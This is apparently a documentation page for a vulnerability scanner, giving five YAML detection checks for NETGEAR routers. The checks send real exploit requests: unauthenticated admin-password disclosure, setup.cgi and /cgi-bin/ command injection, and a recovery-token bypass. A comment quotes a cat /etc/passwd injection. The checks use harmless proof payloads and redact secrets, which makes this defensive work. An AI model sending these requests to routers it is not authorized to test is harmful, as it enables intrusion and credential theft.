NETGEAR routers — 5 vulnerability checks
noctis ships 5 vulnerability checks for NETGEAR routers, covering 7 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
NETGEAR DGN2200 / DGND3700 BSW_cxttongr.htm Admin Password Disclosure
| CVE | CVE-2016-5649 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | exposure — Exposure |
| Services | http, https |
| Detection | tcp_connect, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/netgear-routers/CVE-2016-5649.yaml |
Requests /BSW_cxttongr.htm without credentials and confirms that the page returns the administrator password in cleartext (HTTP 200, Smart Wizard result page, non-empty `<b>Success "<password>"`). The password is not copied into the finding.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /BSW_cxttongr.htm HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
leak.redactedfor<b>Success "<redacted>"→ finding QoD 75: Unauthenticated GET /BSW_cxttongr.htm returned HTTP 200 with the Smart Wizard result page disclosing the admin password in cleartext (… cha…
References:
Feed source — tests/vulnerabilities/netgear-routers/CVE-2016-5649.yaml
# NETGEAR DGN2200 / DGND3700 — BSW_cxttongr.htm admin password disclosure (CVE-2016-5649)
#
# The "Smart Wizard Result" page /BSW_cxttongr.htm is served WITHOUT authentication
# and embeds the administrator password in cleartext (`<b>Success "<password>"`).
#
# Ported from OpenVAS/Greenbone NASL 2017/gb_netgear_cve_2016_5649.nasl
# (OID 1.3.6.1.4.1.25623.1.0.106497, GPL-2.0-only). Same request, same markers.
#
# Real exploitation, read-only: the feed actually retrieves the admin password from
# an unauthenticated request — that IS the exploit. The password itself never goes
# into the finding (only its length), so the report carries no secret.
#
# Better than the NASL:
# - no `Basic realm="NETGEAR.DGN` banner pre-gate: the NASL exits on any device
# whose root page doesn't answer with that realm (other DGN/DGND models, a
# reverse proxy, a custom realm), even when the page leaks the password;
# the strict body check below replaces it;
# - the NASL's second alternative fires on `<b>Success "x"\r` alone, without
# the HTTP status; here an HTTP 200 + a Smart Wizard page marker + a
# non-empty extracted password are all required;
# - HTTPS (DGN remote management) is covered via the auto-TLS of tcp_connect.
uid: 49bdfb9c-7296-4ebe-bacc-280d9fb0e2e3
name: "CVE-2016-5649 — NETGEAR DGN2200 / DGND3700 BSW_cxttongr.htm Admin Password Disclosure"
description: |
Requests /BSW_cxttongr.htm without credentials and confirms that the page
returns the administrator password in cleartext (HTTP 200, Smart Wizard
result page, non-empty `<b>Success "<password>"`). The password is not
copied into the finding.
cves: [CVE-2016-5649]
cvss: 9.8
severity: critical
category: exposure
confidence_base: 0.30
tags: [netgear, dgn2200, dgnd3700, router, credential-disclosure, openvas]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-5649"
- "https://www.exploit-db.com/exploits/40949"
- "OpenVAS/Greenbone NASL 2017/gb_netgear_cve_2016_5649.nasl (OID 1.3.6.1.4.1.25623.1.0.106497, GPL-2.0-only)"
steps:
# 1 — the unauthenticated request (verbatim, HTTP/1.0, TLS auto from the scheme).
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /BSW_cxttongr.htm HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
# 2 — parse the reply: HTTP 200, a Smart Wizard result marker (NASL "wired
# connection" text or the Nuclei <title>), and a non-empty password in
# `<b>Success "..."`. Only the length and a copy of the reply with the
# password replaced by <redacted> leave this step (the match step copies
# its `source` into the finding, so it must never be resp.banner).
- id: parse
action: script
code: |
let out = #{ leaked: false, pw_len: 0, redacted: "" };
if type_of(resp.banner) == "string" {
let b = resp.banner;
let ok200 = ereg("^HTTP/1\\.[01] 200", b);
let page = stridx(b, "Your wired connection to the Internet is working!") >= 0
|| ereg("<title>\\s*Smart Wizard Result\\s*</title>", b);
// line-greedy: the capture runs to the LAST `"` of the line, so a
// password containing `"` or `<` is captured (and redacted) whole
let m = eregmatch("<b>Success \"([^\\r\\n]*)\"", b);
if ok200 && page && m.len() > 1 && m[1] != "" {
out.leaked = true;
out.pw_len = strlen(m[1]);
// mask the whole rest of the disclosure line, then any other copy
let red = ereg_replace("<b>Success \"[^\\r\\n]*", "<b>Success \"<redacted>\"", b);
if out.pw_len >= 4 {
red = str_replace(red, m[1], "<redacted>");
}
out.redacted = red;
}
}
out
store_as: leak
# 3 — report on the REDACTED reply; the password value never reaches the finding.
- id: confirm
action: match
condition: "leak.leaked == true"
source: leak.redacted
pattern: '<b>Success "<redacted>"'
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Unauthenticated GET /BSW_cxttongr.htm returned HTTP 200 with the Smart Wizard result page disclosing the admin password in cleartext ({{leak.pw_len}} characters, value withheld) at {{target_host}}:{{port}}"
stop: trueNETGEAR DGN1000 / DGN2200 setup.cgi unauthenticated command execution
| CVE | CVE-2024-12847 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/netgear-routers/CVE-2024-12847.yaml |
Detects the authentication bypass and command execution in the setup.cgi page of NETGEAR DGN1000 routers (firmware before 1.1.00.48) and DGN2200 v1 routers. The feed sends an unauthenticated GET request to /setup.cgi?next_file=netgear.cfg&todo=syscmd&...¤tsetting.htm=1 whose `cmd` parameter is a harmless shell command printing NOCTIS followed by the sum of two random numbers, computed with `expr`; when that gives no proof, a second request computes the sum with shell arithmetic instead. The finding fires when the computed sum comes back in the response, which only happens when the router ran the command without asking for a password. Nothing is read or written on the device.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo+NOCTIS%60expr+{{p.a}}+%2B+{{p.b… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo+NOCTIS%24%28%28{{p.a}}%2B{{p.b}… - Checks
inj.bannerforNOCTIS[0-9]{7}→ finding QoD 97: Unauthenticated GET /setup.cgi?todo=syscmd&...¤tsetting.htm=1 ran `echo NOCTIS` + `expr … + …` and returned the shell-computed marker… - Checks
inj2.bannerforNOCTIS[0-9]{7}→ finding QoD 97: Unauthenticated GET /setup.cgi?todo=syscmd&...¤tsetting.htm=1 ran `echo NOCTIS$((…+…))` and returned the shell-computed marker … at ……
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-12847
- https://www.exploit-db.com/exploits/25978
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb
Feed source — tests/vulnerabilities/netgear-routers/CVE-2024-12847.yaml
# NETGEAR DGN1000 / DGN2200v1 — setup.cgi unauthenticated command execution
# (CVE-2024-12847, disclosed 2013 as EDB-25978, exploited by the Reaper botnet)
#
# Ported from OpenVAS/Greenbone NASL 2013/gb_netgear_dgn_remote_code_ex_06_13.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103728, GPL-2.0-only). The NASL requests
# /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=cat+/etc/passwd&curpath=/¤tsetting.htm=1
# and matches the passwd pattern. setup.cgi runs `cmd` through the shell as root
# and prints its output in the page; the `currentsetting.htm` string anywhere in
# the query makes the web server skip HTTP authentication (the auth bypass).
# Same request shape as the Metasploit module netgear_dgn1000_setup_unauth_exec.
#
# Better than the NASL:
# - Proof: instead of reading /etc/passwd, the command is
# `echo NOCTIS`expr a + b`` with two random 6-digit numbers, then (only if
# that gave no proof) `echo NOCTIS$((a+b))` in a second request. The sum is
# never in the request, so a page that reflects the query (even through a
# filter stripping `$`, `(`, `)` or backticks) cannot match — only a shell
# that ran the command prints it. Two forms because old BusyBox msh lacks
# $((...)) and minimal BusyBox builds may lack the expr applet; two requests
# because a shell that rejects $((...)) as a syntax error would void the
# whole line. Nothing is read or written on the device.
# - No `Basic realm="NETGEAR.DGN` banner pre-gate: the NASL exits when the
# root page doesn't answer with that realm (a reverse proxy, remote
# management on another port, a customised realm), even if setup.cgi is
# exploitable; the arithmetic proof makes the gate unnecessary.
# - HTTPS remote management is covered (tcp_connect auto-TLS).
# Raw tcp_connect so the percent-encoded command goes out exactly as written.
# CVSS 9.8 is the NVD v3.1 score of CVE-2024-12847.
uid: 2855c1cd-0c34-46d0-bd6a-9e003c84d526
name: "NETGEAR DGN1000 / DGN2200 setup.cgi unauthenticated command execution (CVE-2024-12847)"
description: |
Detects the authentication bypass and command execution in the setup.cgi
page of NETGEAR DGN1000 routers (firmware before 1.1.00.48) and DGN2200 v1
routers. The feed sends an unauthenticated GET request to
/setup.cgi?next_file=netgear.cfg&todo=syscmd&...¤tsetting.htm=1 whose
`cmd` parameter is a harmless shell command printing NOCTIS followed by the
sum of two random numbers, computed with `expr`; when that gives no proof,
a second request computes the sum with shell arithmetic instead. The finding fires when the computed sum comes back in the
response, which only happens when the router ran the command without asking
for a password. Nothing is read or written on the device.
cves: [CVE-2024-12847]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [netgear, dgn1000, dgn2200, router, rce, command-injection, auth-bypass, pre-auth, intrusive, reaper]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-12847"
- "https://www.exploit-db.com/exploits/25978"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb"
- "OpenVAS/Greenbone NASL 2013/gb_netgear_dgn_remote_code_ex_06_13.nasl (GPL-2.0-only)"
steps:
# Pre-initialise the stored results read by the confirm conditions.
- id: init-inj
action: set_var
var_name: inj
var_value: {connected: false, banner: ""}
- id: init-inj2
action: set_var
var_name: inj2
var_value: {connected: false, banner: ""}
# Random operands; only their sum (never sent) proves execution.
- id: build
action: script
store_as: p
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }
# 1st form: cmd = echo NOCTIS`expr a + b` (any Bourne shell, BusyBox msh too)
- id: inject
action: tcp_connect
port: "{{port}}"
send: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo+NOCTIS%60expr+{{p.a}}+%2B+{{p.b}}%60&curpath=/¤tsetting.htm=1 HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: inj
- id: check-expr
action: script
store_as: hit
code: |
type_of(inj.banner) == "string" && stridx(inj.banner, p.marker) >= 0
# 2nd form, only when the 1st gave no proof (BusyBox without the expr
# applet): cmd = echo NOCTIS$((a+b)). Sent separately so a shell that
# rejects $((...)) as a syntax error cannot also void the expr form.
- id: inject-arith
action: tcp_connect
port: "{{port}}"
condition: "hit == false"
send: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo+NOCTIS%24%28%28{{p.a}}%2B{{p.b}}%29%29&curpath=/¤tsetting.htm=1 HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: inj2
- id: confirm-expr
action: match
source: inj.banner
pattern: "NOCTIS[0-9]{7}"
condition: "hit == true"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Unauthenticated GET /setup.cgi?todo=syscmd&...¤tsetting.htm=1 ran `echo NOCTIS` + `expr {{p.a}} + {{p.b}}` and returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
stop: true
- id: confirm-arith
action: match
source: inj2.banner
pattern: "NOCTIS[0-9]{7}"
condition: "hit == false && type_of(inj2.banner) == \"string\" && stridx(inj2.banner, p.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Unauthenticated GET /setup.cgi?todo=syscmd&...¤tsetting.htm=1 ran `echo NOCTIS$(({{p.a}}+{{p.b}}))` and returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
stop: trueNETGEAR WNR2000 unauthenticated serial-number leak (password-recovery / RCE chain)
| CVE | CVE-2016-10174, CVE-2016-10175, CVE-2016-10176 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/netgear-routers/CVE-2016-10174.yaml |
Fetches /BRS_netgear_success.html without credentials and confirms that a NETGEAR WNR2000 discloses its serial number (var sn="..."), the secret that the admin-password-recovery → authenticated stack-overflow RCE chain (CVE-2016-10174/10175/10176) builds on.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /BRS_netgear_success.html HTTP/1.0 - Checks
resp.bannerfor(?s)^HTTP/1\.[01] 200.*?var sn="([0-9A-Za-z]+)"; - Parses / computes the next value with a Rhai script
- Checks
sn_maskedfor^[0-9A-Za-z]{1,2}\*\*\* \(\d+ chars\)$→ finding QoD 75: NETGEAR WNR2000 leaked its serial number without authentication via /BRS_netgear_success.html (HTTP 200, var sn="…")
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-10174
- https://nvd.nist.gov/vuln/detail/CVE-2016-10175
- https://nvd.nist.gov/vuln/detail/CVE-2016-10176
- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb
Feed source — tests/vulnerabilities/netgear-routers/CVE-2016-10174.yaml
# NETGEAR WNR2000 Router — Multiple Vulnerabilities (Dec 2016)
#
# The WNR2000 web server (uhttpd) serves /BRS_netgear_success.html to anyone,
# without authentication, and that page embeds the device serial number as
# `var sn="<serial>";` (CVE-2016-10176). The serial is the secret input of the
# admin-password-recovery flow: with it, an attacker who also abuses the
# unauthenticated apply_noauth.cgi (CVE-2016-10175) and the predictable
# timestamp tokens can reset the admin password and reach the stack overflow
# in the authenticated CGIs (CVE-2016-10174, KEV) — the Metasploit
# netgear_wnr2000_pass_recovery / netgear_wnr2000_rce chain.
#
# Ported from OpenVAS/Greenbone NVT 2016/gb_netgear_wnr2000_router_multiple_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.809775, GPL-2.0-only). Same URL, same 200 + product
# markers, same `var sn="([0-9A-Za-z]+)";` extraction.
#
# Benign proof of exploitation: the unauthenticated serial-number leak IS the
# exercised primitive (first link of the chain). The chain is deliberately not
# continued — resetting the admin password or calling apply_noauth.cgi would
# change the device configuration. The leaked serial is masked before it reaches
# the finding (only its first two characters and its length are reported).
#
# Improvements over the NASL:
# - the NASL tests the product markers with the case-sensitive `><`
# ("wnr2000" / "netgear"), so a page that only spells them "WNR2000" /
# "NETGEAR" is missed; here they are matched case-insensitively;
# - the NASL report prints the full serial (a recovery secret); here it is masked.
uid: 04dd5515-7630-4b23-9119-13c2850a08d8
name: "NETGEAR WNR2000 unauthenticated serial-number leak (password-recovery / RCE chain)"
description: |
Fetches /BRS_netgear_success.html without credentials and confirms that a
NETGEAR WNR2000 discloses its serial number (var sn="..."), the secret that
the admin-password-recovery → authenticated stack-overflow RCE chain
(CVE-2016-10174/10175/10176) builds on.
cves: [CVE-2016-10174, CVE-2016-10175, CVE-2016-10176]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [netgear, wnr2000, router, auth-bypass, info-disclosure, kev, openvas]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-10174"
- "https://nvd.nist.gov/vuln/detail/CVE-2016-10175"
- "https://nvd.nist.gov/vuln/detail/CVE-2016-10176"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb"
- "OpenVAS/Greenbone NASL 2016/gb_netgear_wnr2000_router_multiple_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.809775, GPL-2.0-only)"
steps:
# Initialise the gating variables so later conditions never read an undefined var.
- id: init-sn-found
action: set_var
var_name: sn_found
var_value: false
- id: init-sn-masked
action: set_var
var_name: sn_masked
var_value: ""
# 1 — unauthenticated GET of the setup-wizard success page (exact NASL URL).
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /BRS_netgear_success.html HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
# 2 — HTTP 200 and the embedded serial number (NASL eregmatch pattern).
# Not a finding by itself: this match's raw evidence would carry the serial.
- id: extract-serial
action: match
source: resp.banner
pattern: '(?s)^HTTP/1\.[01] 200.*?var sn="([0-9A-Za-z]+)";'
store_as: sn_match
on_match:
set_vars:
sn_found: true
# 3 — require the WNR2000 / NETGEAR product markers (case-insensitive) and
# mask the serial: first two characters + length.
- id: mask-serial
action: script
condition: "sn_found == true"
code: |
let page = tolower(resp.banner);
let out = "";
if page.contains("wnr2000") && page.contains("netgear") {
let sn = sn_match["captures"][0];
out = substr(sn, 0, 1) + "*** (" + strlen(sn) + " chars)";
}
out
store_as: sn_masked
# 4 — finding, built on the masked value only.
- id: confirm
action: match
condition: 'sn_masked != ""'
source: sn_masked
pattern: '^[0-9A-Za-z]{1,2}\*\*\* \(\d+ chars\)$'
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "NETGEAR WNR2000 leaked its serial number without authentication via /BRS_netgear_success.html (HTTP 200, var sn=\"{{sn_masked}}\")"
stop: trueNETGEAR routers /cgi-bin/ command injection
| CVE | CVE-2016-6277 |
|---|---|
| Severity | high · CVSS 8.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/netgear-routers/CVE-2016-6277.yaml |
Requests /cgi-bin/;uname$IFS-a and reports when the response contains the uname output of the router's Linux kernel.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/;uname$IFS-a HTTP/1.0 - Checks
resp.bannerfor(?im)^HTTP/1\.[01] 200[\s\S]*Linux .* SMP PREEMPT.*armv7l unknown→ finding QoD 75: NETGEAR router ran the injected uname -a from /cgi-bin/;uname$IFS-a (Linux kernel string in the response)
References:
Feed source — tests/vulnerabilities/netgear-routers/CVE-2016-6277.yaml
uid: 848f66fd-ec08-486e-af4e-dde4028d4854
name: "CVE-2016-6277 — NETGEAR routers /cgi-bin/ command injection (CVSS 8.8)"
description: "Requests /cgi-bin/;uname$IFS-a and reports when the response contains the uname output of the router's Linux kernel."
cves: [CVE-2016-6277]
cvss: 8.8
severity: high
category: rce
confidence_base: 0.3
tags: [netgear, router, rce, command-injection]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-6277"
- "OpenVAS NASL 2016/gb_netgear_routers_rce_vuln.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2016/gb_netgear_routers_rce_vuln.nasl (GPL-2.0-only, Greenbone Community Feed).
# Faithful: request the exact NASL URL, then confirm BOTH the response status line and the
# plugin's confirming marker — a bare 200 with no marker does not fire (non-trivial negative).
steps:
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /cgi-bin/;uname$IFS-a HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: resp
- id: detect
action: match
source: resp.banner
pattern: '(?im)^HTTP/1\.[01] 200[\s\S]*Linux .* SMP PREEMPT.*armv7l unknown'
on_match:
finding:
confidence_delta: 0.5
qod: 75
evidence: "NETGEAR router ran the injected uname -a from /cgi-bin/;uname$IFS-a (Linux kernel string in the response)"
stop: trueNETGEAR routers passwordrecovered.cgi admin password disclosure
| CVE | CVE-2017-5521 |
|---|---|
| Severity | high · CVSS 8.1 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | tcp_connect, set_var, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/netgear-routers/CVE-2017-5521.yaml |
Obtains the password-recovery token from the 401 page on "/" and requests /passwordrecovered.cgi?id=<token>; a vulnerable router returns the admin credentials page unauthenticated. Falls back to a random id (firmware that does not validate the token). The password itself is never stored.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET / HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /passwordrecovered.cgi?id={{token}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
verdict_tokenfor^CONFIRMED:→ finding QoD 75: Admin credentials page served unauthenticated by /passwordrecovered.cgi?id=<token from the 401 unauth.cgi redirect> at …:… — password not r… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /passwordrecovered.cgi?id={{rand_id}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
verdict_randomfor^CONFIRMED:→ finding QoD 75: Admin credentials page served unauthenticated by /passwordrecovered.cgi?id=<random id> — firmware does not validate the recovery token — at…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-5521
- https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18758
- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/netgear_password_disclosure.rb
Feed source — tests/vulnerabilities/netgear-routers/CVE-2017-5521.yaml
# NETGEAR routers — admin password disclosure via passwordrecovered.cgi (CVE-2017-5521, KEV)
#
# On R6250/R6300v2/R6400/R6700/R6900/R7000/R7100LG/R7300/R8000/R8300/R8500,
# WNDR3400v3 and WNR3500Lv2 firmware, cancelling the Basic-auth prompt on "/"
# returns a 401 page that redirects to unauth.cgi?id=<TOKEN>. Handing that token
# to /passwordrecovered.cgi (with password recovery disabled) returns the
# router's admin username AND cleartext password, unauthenticated.
#
# Ported from OpenVAS/Greenbone NVT 2017/gb_netgear_cve-2017-5521.nasl
# (OID 1.3.6.1.4.1.25623.1.0.106536, GPL-2.0-only). NASL flow kept verbatim:
# GET / → require 'Basic realm="NETGEAR' → extract unauth.cgi?id=([0-9]+)
# GET /passwordrecovered.cgi?id=<token> → pattern
# "You can now log into the router using username .* and this recovered password"
# + extra_check "Router Admin Password".
#
# Real exploitation, benign proof: the feed performs the actual bypass and
# confirms the device served its admin-credential recovery page without
# authentication. Nothing is written or changed on the router. The disclosed
# password is NEVER copied into the finding: the recovery page is reduced to a
# fixed verdict string by a script step, and only that verdict is matched (a
# match step copies its whole source into evidence.matched).
#
# Better than OpenVAS (deliberate deviations): the token is taken from any
# unauth.cgi?id= redirect, without the NASL's 'Basic realm="NETGEAR' gate. Trustwave's advisory documents a
# second variant where the firmware does not validate the token at all, and on
# some devices "/" exposes no unauth.cgi token (remote-management front page,
# different 401 body). The NASL exits there (false negative). When no token is
# found, this feed probes passwordrecovered.cgi with a random numeric id — the
# Nuclei/Metasploit approach — and confirms with the same two markers, so both
# variants are covered. Both branches require HTTP 200 + the recovered-password
# sentence + "Router Admin Password", so a patched device's security-question
# form ("Router Admin Password Recovery" without the sentence) does not fire.
#
# Raw HTTP/1.0 over tcp_connect so the 401 headers (WWW-Authenticate realm) and
# the body are matched together, as http_get_cache returns them to the NASL.
uid: a90ec768-7f31-41fa-95ca-22fdd6f97e43
name: "CVE-2017-5521 — NETGEAR routers passwordrecovered.cgi admin password disclosure"
description: |
Obtains the password-recovery token from the 401 page on "/" and requests
/passwordrecovered.cgi?id=<token>; a vulnerable router returns the admin
credentials page unauthenticated. Falls back to a random id (firmware that
does not validate the token). The password itself is never stored.
cves: [CVE-2017-5521]
cvss: 8.1
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [netgear, router, password-disclosure, auth-bypass, kev, intrusive, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-5521"
- "https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18758"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/netgear_password_disclosure.rb"
- "OpenVAS/Greenbone NASL 2017/gb_netgear_cve-2017-5521.nasl (OID 1.3.6.1.4.1.25623.1.0.106536, GPL-2.0-only)"
steps:
# 1 — GET / : a NETGEAR router answers 401 with Basic realm="NETGEAR..." and
# a body redirecting to unauth.cgi?id=<token>.
- id: root
action: tcp_connect
port: "{{port}}"
send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: root_resp
# 2 — NASL eregmatch("unauth.cgi\?id=([0-9]+)"). "" when absent. The NASL also
# requires 'Basic realm="NETGEAR'; that gate is dropped on purpose — the
# unauth.cgi token redirect is specific on its own, and a strict-token firmware
# with a different realm string would otherwise be a false negative.
# token is pre-set so the later conditions are defined even when "/" errored.
- id: init-token
action: set_var
var_name: token
var_value: ""
- id: extract-token
action: script
condition: 'type_of(root_resp.banner) == "string"'
code: |
let tok = "";
let m = eregmatch("unauth\\.cgi\\?id=([0-9]+)", root_resp.banner);
if m.len() > 1 {
tok = m[1];
}
tok
store_as: token
# 3 — the NASL exploit request with the extracted token.
- id: recover-with-token
action: tcp_connect
port: "{{port}}"
condition: 'token != ""'
send: "GET /passwordrecovered.cgi?id={{token}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: rec_resp
# The recovery page carries the cleartext admin password, and a match step copies
# its whole `source` into evidence.matched — so the page is reduced here to a
# fixed verdict string and only that verdict is matched (password never stored).
- id: verdict-token
action: script
condition: 'token != "" && type_of(rec_resp.banner) == "string"'
code: |
let v = "not-confirmed";
if ereg("^HTTP/1\\.[01] 200", rec_resp.banner)
&& ereg("You can now log into the router using username .{0,200}? and this recovered password", rec_resp.banner)
&& ereg("Router\\s*Admin\\s*Password", rec_resp.banner) {
v = "CONFIRMED: HTTP 200 + 'You can now log into the router using username ... and this recovered password' + 'Router Admin Password' (id = token from the 401 unauth.cgi redirect)";
}
v
store_as: verdict_token
- id: confirm-token
action: match
condition: 'token != ""'
source: verdict_token
pattern: "^CONFIRMED: "
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Admin credentials page served unauthenticated by /passwordrecovered.cgi?id=<token from the 401 unauth.cgi redirect> at {{target_host}}:{{port}} — password not recorded"
stop: true
# 4 — beyond the NASL: "/" answered but exposed no token → firmware that skips
# token validation still discloses the password for an arbitrary id.
# (Skipped when "/" did not answer at all.)
- id: random-id
action: script
condition: 'token == "" && type_of(root_resp.banner) == "string"'
code: 'to_string(rand_int(10000, 99999))'
store_as: rand_id
- id: recover-random-id
action: tcp_connect
port: "{{port}}"
condition: 'token == "" && type_of(root_resp.banner) == "string"'
send: "GET /passwordrecovered.cgi?id={{rand_id}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: rnd_resp
# The recovery page carries the cleartext admin password, and a match step copies
# its whole `source` into evidence.matched — so the page is reduced here to a
# fixed verdict string and only that verdict is matched (password never stored).
- id: verdict-random
action: script
condition: 'token == "" && type_of(rnd_resp.banner) == "string"'
code: |
let v = "not-confirmed";
if ereg("^HTTP/1\\.[01] 200", rnd_resp.banner)
&& ereg("You can now log into the router using username .{0,200}? and this recovered password", rnd_resp.banner)
&& ereg("Router\\s*Admin\\s*Password", rnd_resp.banner) {
v = "CONFIRMED: HTTP 200 + 'You can now log into the router using username ... and this recovered password' + 'Router Admin Password' (random id, token not validated)";
}
v
store_as: verdict_random
- id: confirm-random
action: match
condition: 'token == ""'
source: verdict_random
pattern: "^CONFIRMED: "
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Admin credentials page served unauthenticated by /passwordrecovered.cgi?id=<random id> — firmware does not validate the recovery token — at {{target_host}}:{{port}} — password not recorded"
stop: true